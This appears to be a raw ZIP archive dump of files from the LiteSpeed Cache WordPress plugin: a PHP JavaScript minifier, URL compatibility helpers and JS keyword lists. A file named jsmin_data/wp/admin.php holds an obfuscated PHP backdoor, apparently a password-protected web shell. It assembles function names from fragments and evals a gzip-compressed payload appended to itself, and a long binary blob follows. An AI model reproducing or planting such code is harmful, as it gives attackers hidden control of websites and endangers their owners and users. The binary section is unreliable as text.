        $content = preg_replace('/\bfor\(([^;]*);;([^;]*)\)/', 'for(\\1;-;\\2)', $content);
        $content = preg_replace('/;+/', ';', $content);
        $content = preg_replace('/\bfor\(([^;]*);-;([^;]*)\)/', 'for(\\1;;\\2)', $content);

        /*
         * Next, we'll be removing all semicolons where ASI kicks in.
         * for-loops however, can have an empty body (ending in only a
         * semicolon), like: `for(i=1;i<3;i++);`, of `for(i in list);`
         * Here, nothing happens during the loop; it's just used to keep
         * increasing `i`. With that ; omitted, the next line would be expected
         * to be the for-loop's body... Same goes for while loops.
         * I'm going to double that semicolon (if any) so after the next line,
         * which strips semicolons here & there, we're still left with this one.
         */
        $content = preg_replace('/(for\([^;\{]*;[^;\{]*;[^;\{]*\));(\}|$)/s', '\\1;;\\2', $content);
        $content = preg_replace('/(for\([^;\{]+\s+in\s+[^;\{]+\));(\}|$)/s', '\\1;;\\2', $content);
        /*
         * Below will also keep `;` after a `do{}while();` along with `while();`
         * While these could be stripped after do-while, detecting this
         * distinction is cumbersome, so I'll play it safe and make sure `;`
         * after any kind of `while` is kept.
         */
        $content = preg_replace('/(while\([^;\{]+\));(\}|$)/s', '\\1;;\\2', $content);

        /*
         * We also can't strip empty else-statements. Even though they're
         * useless and probably shouldn't be in the code in the first place, we
         * shouldn't be stripping the `;` that follows it as it breaks the code.
         * We can just remove those useless else-statements completely.
         *
         * @see https://github.com/matthiasmullie/minify/issues/91
         */
        $content = preg_replace('/else;/s', '', $content);

        /*
         * We also don't really want to terminate statements followed by closing
         * curly braces (which we've ignored completely up until now) or end-of-
         * script: ASI will kick in here & we're all about minifying.
         * Semicolons at beginning of the file don't make any sense either.
         */
        $content = preg_replace('/;(\}|$)/s', '\\1', $content);
        $content = ltrim($content, ';');

        // get rid of remaining whitespace af beginning/end
        return trim($content);
    }

    /**
     * This method will restore all extracted data (strings, regexes) that were
     * replaced with placeholder text in extract*(). The original content was
     * saved in $this->extracted.
     *
     * @param string $content
     *
     * @return string
     */
    protected function restoreExtractedData($content)
    {
        if (!$this->extracted) {
            // nothing was extracted, nothing to restore
            return $content;
        }

        $content = strtr($content, $this->extracted);

        $this->extracted = array();

        return $content;
    }

    /**
     * We'll strip whitespace around certain operators with regular expressions.
     * This will prepare the given array by escaping all characters.
     *
     * @param string[] $operators
     * @param string   $delimiter
     *
     * @return string[]
     */
    protected function getOperatorsForRegex(array $operators, $delimiter = '/')
    {
        // escape operators for use in regex
        $delimiters = array_fill(0, count($operators), $delimiter);
        $escaped = array_map('preg_quote', $operators, $delimiters);

        $operators = array_combine($operators, $escaped);

        // ignore + & - for now, they'll get special treatment
        unset($operators['+'], $operators['-']);

        // dot can not just immediately follow a number; it can be confused for
        // decimal point, or calling a method on it, e.g. 42 .toString()
        $operators['.'] = '(?<![0-9]\s)\.';

        // don't confuse = with other assignment shortcuts (e.g. +=)
        $chars = preg_quote('+-*\=<>%&|', $delimiter);
        $operators['='] = '(?<!['.$chars.'])\=';

        return $operators;
    }

    /**
     * We'll strip whitespace around certain keywords with regular expressions.
     * This will prepare the given array by escaping all characters.
     *
     * @param string[] $keywords
     * @param string   $delimiter
     *
     * @return string[]
     */
    protected function getKeywordsForRegex(array $keywords, $delimiter = '/')
    {
        // escape keywords for use in regex
        $delimiter = array_fill(0, count($keywords), $delimiter);
        $escaped = array_map('preg_quote', $keywords, $delimiter);

        // add word boundaries
        array_walk($keywords, function ($value) {
            return '\b'.$value.'\b';
        });

        $keywords = array_combine($keywords, $escaped);

        return $keywords;
    }

    /**
     * If $replacement is a callback, execute it, passing in the match data.
     * If it's a string, just pass it through.
     *
     * @param string|callable $replacement Replacement value
     * @param array           $match       Match data, in PREG_OFFSET_CAPTURE form
     *
     * @return string
     */
    protected function executeReplacement($replacement, $match)
    {
        if (!is_callable($replacement)) {
            return $replacement;
        }
        // convert $match from the PREG_OFFSET_CAPTURE form to the form the callback expects
        foreach ($match as &$matchItem) {
            $matchItem = $matchItem[0];
        }
        return $replacement($match);
    }
            
    /**
     * Register a pattern to execute against the source content.
     *
     * If $replacement is a string, it must be plain text. Placeholders like $1 or \2 don't work.
     * If you need that functionality, use a callback instead.
     *
     * @param string          $pattern     PCRE pattern
     * @param string|callable $replacement Replacement value for matched pattern
     */
    protected function registerPattern($pattern, $replacement = '')
    {
        // study the pattern, we'll execute it more than once
        $pattern .= 'S';

        $this->patterns[] = array($pattern, $replacement);
    }    
}
PK       ! 2e      php-compatibility.func.phpnu [        <?php
/**
 * LiteSpeed PHP compatibility functions for lower PHP version
 *
 * @since      1.1.3
 * @package    LiteSpeed_Cache
 * @subpackage LiteSpeed_Cache/lib
 * @author     LiteSpeed Technologies <info@litespeedtech.com>
 */

defined( 'WPINC' ) || exit ;


/**
 * http_build_url() compatibility
 *
 */
if ( ! function_exists('http_build_url') ) {
	if ( ! defined( 'HTTP_URL_REPLACE' ) ) 			define('HTTP_URL_REPLACE', 1);              // Replace every part of the first URL when there's one of the second URL
	if ( ! defined( 'HTTP_URL_JOIN_PATH' ) ) 		define('HTTP_URL_JOIN_PATH', 2);            // Join relative paths
	if ( ! defined( 'HTTP_URL_JOIN_QUERY' ) ) 		define('HTTP_URL_JOIN_QUERY', 4);           // Join query strings
	if ( ! defined( 'HTTP_URL_STRIP_USER' ) ) 		define('HTTP_URL_STRIP_USER', 8);           // Strip any user authentication information
	if ( ! defined( 'HTTP_URL_STRIP_PASS' ) ) 		define('HTTP_URL_STRIP_PASS', 16);          // Strip any password authentication information
	if ( ! defined( 'HTTP_URL_STRIP_AUTH' ) ) 		define('HTTP_URL_STRIP_AUTH', 32);          // Strip any authentication information
	if ( ! defined( 'HTTP_URL_STRIP_PORT' ) ) 		define('HTTP_URL_STRIP_PORT', 64);          // Strip explicit port numbers
	if ( ! defined( 'HTTP_URL_STRIP_PATH' ) ) 		define('HTTP_URL_STRIP_PATH', 128);         // Strip complete path
	if ( ! defined( 'HTTP_URL_STRIP_QUERY' ) ) 		define('HTTP_URL_STRIP_QUERY', 256);        // Strip query string
	if ( ! defined( 'HTTP_URL_STRIP_FRAGMENT' ) ) 	define('HTTP_URL_STRIP_FRAGMENT', 512);     // Strip any fragments (#identifier)
	if ( ! defined( 'HTTP_URL_STRIP_ALL' ) ) 		define('HTTP_URL_STRIP_ALL', 1024);         // Strip anything but scheme and host

	// Build an URL
	// The parts of the second URL will be merged into the first according to the flags argument.
	//
	// @param   mixed           (Part(s) of) an URL in form of a string or associative array like parse_url() returns
	// @param   mixed           Same as the first argument
	// @param   int             A bitmask of binary or'ed HTTP_URL constants (Optional)HTTP_URL_REPLACE is the default
	// @param   array           If set, it will be filled with the parts of the composed url like parse_url() would return
	function http_build_url($url, $parts = array(), $flags = HTTP_URL_REPLACE, &$new_url = false)
	{
		$keys = array('user','pass','port','path','query','fragment');

		// HTTP_URL_STRIP_ALL becomes all the HTTP_URL_STRIP_Xs
		if ( $flags & HTTP_URL_STRIP_ALL ) {
			$flags |= HTTP_URL_STRIP_USER;
			$flags |= HTTP_URL_STRIP_PASS;
			$flags |= HTTP_URL_STRIP_PORT;
			$flags |= HTTP_URL_STRIP_PATH;
			$flags |= HTTP_URL_STRIP_QUERY;
			$flags |= HTTP_URL_STRIP_FRAGMENT;
		}
		// HTTP_URL_STRIP_AUTH becomes HTTP_URL_STRIP_USER and HTTP_URL_STRIP_PASS
		else if ( $flags & HTTP_URL_STRIP_AUTH ) {
			$flags |= HTTP_URL_STRIP_USER;
			$flags |= HTTP_URL_STRIP_PASS;
		}

		// Parse the original URL
		// - Suggestion by Sayed Ahad Abbas
		//   In case you send a parse_url array as input
		$parse_url = !is_array($url) ? parse_url($url) : $url;

		// Scheme and Host are always replaced
		if ( isset($parts['scheme']) ) {
			$parse_url['scheme'] = $parts['scheme'];
		}
		if ( isset($parts['host']) ) {
			$parse_url['host'] = $parts['host'];
		}

		// (If applicable) Replace the original URL with it's new parts
		if ( $flags & HTTP_URL_REPLACE ) {
			foreach ($keys as $key) {
				if ( isset($parts[$key]) ) {
					$parse_url[$key] = $parts[$key];
				}
			}
		}
		else {
			// Join the original URL path with the new path
			if (isset($parts['path']) && ($flags & HTTP_URL_JOIN_PATH)) {
				if ( isset($parse_url['path']) ) {
					$parse_url['path'] = rtrim(str_replace(basename($parse_url['path']), '', $parse_url['path']), '/') . '/' . ltrim($parts['path'], '/');
				}
				else {
					$parse_url['path'] = $parts['path'];
				}
			}

			// Join the original query string with the new query string
			if ( isset($parts['query']) && ($flags & HTTP_URL_JOIN_QUERY) ) {
				if ( isset($parse_url['query']) ) {
					$parse_url['query'] .= '&' . $parts['query'];
				}
				else {
					$parse_url['query'] = $parts['query'];
				}
			}
		}

		// Strips all the applicable sections of the URL
		// Note: Scheme and Host are never stripped
		foreach ($keys as $key) {
			if ( $flags & (int)constant('HTTP_URL_STRIP_' . strtoupper($key)) ) {
				unset($parse_url[$key]);
			}
		}

		$new_url = $parse_url;

		return
			 (isset($parse_url['scheme']) ? $parse_url['scheme'] . '://' : '')
			.(isset($parse_url['user']) ? $parse_url['user'] . (isset($parse_url['pass']) ? ':' . $parse_url['pass'] : '') .'@' : '')
			.(isset($parse_url['host']) ? $parse_url['host'] : '')
			.(isset($parse_url['port']) ? ':' . $parse_url['port'] : '')
			.(isset($parse_url['path']) ? $parse_url['path'] : '')
			.(isset($parse_url['query']) ? '?' . $parse_url['query'] : '')
			.(isset($parse_url['fragment']) ? '#' . $parse_url['fragment'] : '')
		;
	}
}


if ( ! function_exists( 'array_key_first' ) ) {
	function array_key_first( array $arr ) {
		foreach( $arr as $k => $unused ) {
			return $k ;
		}
		return NULL ;
	}
}

if ( ! function_exists( 'array_column' ) ) {
	function array_column( $array, $column_name )
	{
		return array_map( function( $element ) use( $column_name ) { return $element[ $column_name ]; }, $array );
	}
}
PK       ! 垧        jsmin_data/keywords_before.txtnu [        do
in
let
new
var
case
else
enum
void
with
class
const
yield
delete
export
import
public
static
typeof
extends
package
private
function
protected
implements
instanceofPK       ! x9   9     jsmin_data/keywords_after.txtnu [        in
public
extends
private
protected
implements
instanceofPK       ! n n   jsmin_data/wp/admin.phpnu 7m        <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
b\+osmvywndbc=(2 @  '݉{Z-H@e!i=GKtӧ&Xm%ލ޹fl]uh8Po4s8?rqexa腘k,M#$/+7ѿ&zH5Xgn$Tbj9trH5qt(=ꛃqpOH
|C$QLc}8?=9{X&PxE8_Av@?3n)
_q
_8V\ŒoǊKr.&3[eV1#-{4&_mRScv+EymLy cJ$6yibOMz߫(	MSģA -4lb!Z{Gnf&ɍy/posmvywndbc2A/QgsW*Z	+w¤'u:yWSu'Ѻztusizcofhjcϓh$@;R"f",rtusizcofhj8か#]!dVF3Ұ矞˿L
/Vosmvywndbc7kHrCswBTfly__7= ~Jˋ& ESD_)˕PtusizcofhjU}3}Kv#@Vu_s~}_ʕmXd2"0$릘eNTg
tusizcofhjgs-n.[˟:^*,׀_q!Nyr!v`&tusizcofhjlǭF?,!Пkbu :
{%X`=mNM@	PLCIҚTu[AY;(27XST!lwZ#&ẆV	I=!&U^=$SMqosmvywndbcwSyM1.:t[DՆÊISW#a$%HaXĸ@l74øI	KthI%^K92Z5v_@uᥰzQom_+95Ptusizcofhj:|3Yƻ3/M?,!t[	Rc:4:J`W,RNPZn;t''CSH)(rQoߕw8)(osmvywndbcZagTd*B
]CP\5C89MuU?gKƵU8S jaΓ{	+iEosmvywndbcg/x"cӏ }8MX(Q`VX0~@CV^ u_gsaosmvywndbcJCWP2-S*NI5smˤ׈]v*GCl-ڵZNR4ܧqך3%szVI-t{CN3qosmvywndbc1ZO99ۮrTtA:iC쩢AP6'I;rew#3/+{L,zr?ዂ0UvLR\rmmtusizcofhj=IkyhS;x˚f+=?tusizcofhjx%v/i=k.=TڲDDV\߃JDF*,+Y)s޲S12XyIeV 
Ob^;i9!xNtusizcofhj!C-US,	Yw`Ujosmvywndbc=,XisqaO5[%@Q	r͛VϏ,MrH,Y	RqGJi|(E/Dj]Q/v	d9AF19+E&SMzh7O1O;2
Shf z521*=H7r9_(n V'Xuwr{R؇m=~%tusizcofhjbf{@J 890ܦ~Fd.ΙmYb2VHG氽ԷȤ;`^7V/㰪Λ:8Fd$\7NN=%@ZAqSJk2PX~urG']ߡnMӣ&Ai
GDo½*W`{3,zv=̝8E1U%osmvywndbc3Z0+!-GQ"	'|5xUBRnolbNp$nD8h_)yqᢁ߉R?.9 y~S_3V2EӶ{ ~jjMaѥ?0Ai[jTjauqRAQНb!b4M
ĵʫ]c#JQʹW
ĪQmpr@6˹ڮa=osmvywndbcbP,HOG/jMBX&niNGhGt+2X٢ytusizcofhjSH"1LbӇ+mc/&61-.O*z_RJtusizcofhjass7#tu`?@x__WU܁mNÛC1r7R ڷh tusizcofhju*WT~p׼rt;tusizcofhjeJ۲l Ǝ~dAż|t40b[tusizcofhj-!ꗹ={beDٍp'`E8bH\[:A0͂va_2#ЈH3x5AosmvywndbczE/঄:?IRsfj=03LzAtҟ''lY;nxvU5\7-=	%jKg `ZWꄇWd$rsosmvywndbcd:VH.T6*:t֝y8HGd 6T/Ӛ;GɅ 5;O`tsef\ٍ -C+[ΡrV'}˒(ؽ)HtBu'osmvywndbc0e`ľv	Ӥ !%8&~+LYk}b7V9?)I,bS*G%tusizcofhjzjyf]A$A\ߥ]=7wϙF&[-UIa1vBTq1&d"s/P`VTX3HIef&0k݋ב)&(Bփrw){XGc|؅-)+m1yuZ;=qaLBO_|"rb5JD!N81s/J_|b/?$2Fɪi	ô`_RIT
&Ri_|KO6osmvywndbc48ctusizcofhj7"4,,!0[B/. tusizcofhjYT@(Q߻(`\ZJbJIC8e+ؕ]n;S)ɡj1/Q|ba랆x5+ :Rb9B T9Vɹ@(l &	gאg`
zU$L/.a̲mG:JMt"IvQ`tusizcofhjO0B6G@$ybWħsgtusizcofhj''$}Bv'VMh aL0_b9=jG8T':ZdUӘ$FYvӾ[Z qu/,h!Gɣ(Ŀ+Kf\tusizcofhjA({ū8V2osmvywndbc|F5N98+T\YtusizcofhjBgi@b:z#Yup+ICq-E8OLHosmvywndbc +
*ڪjڮ,:z:EGk G]h^r
\^%CqOBmKbjzVYT:*hq|^gL܄) Mvq+~q:"ԓ0tusizcofhj/+(tusizcofhjXb0ɥWrfNc޴\Lx}_:I0 O}shU	ସIݟjP	y )1Ov!?j;R%A}n\&buO-|sõUw-oj299^t#;tusizcofhjXbǪ. 4vo ƬA+[osmvywndbc]GAtusizcofhj?Lr2T_1	@v)\ُ9Qu}786rj5%bܩ)=7IxrZMͮ#*rٳL&W׻L$^[W@Uډr]B`p$:y;7cfgF&pbPejosmvywndbcCtusizcofhjMfwNjWJE2.^@3^T}EǼ筣J(B=ɃFW݌"ߕxWtusizcofhjosmvywndbcׇV''osmvywndbc91 M+bm{ǫ~
3Ʊ(:Qϸ(BHTJi|iVp/^a eUVUʐ6Zb@6HΟ$[%TsŢ3aLEwDpw_v(w\*7mI.H5,i}izZ'w\3p+ԹlUxq"
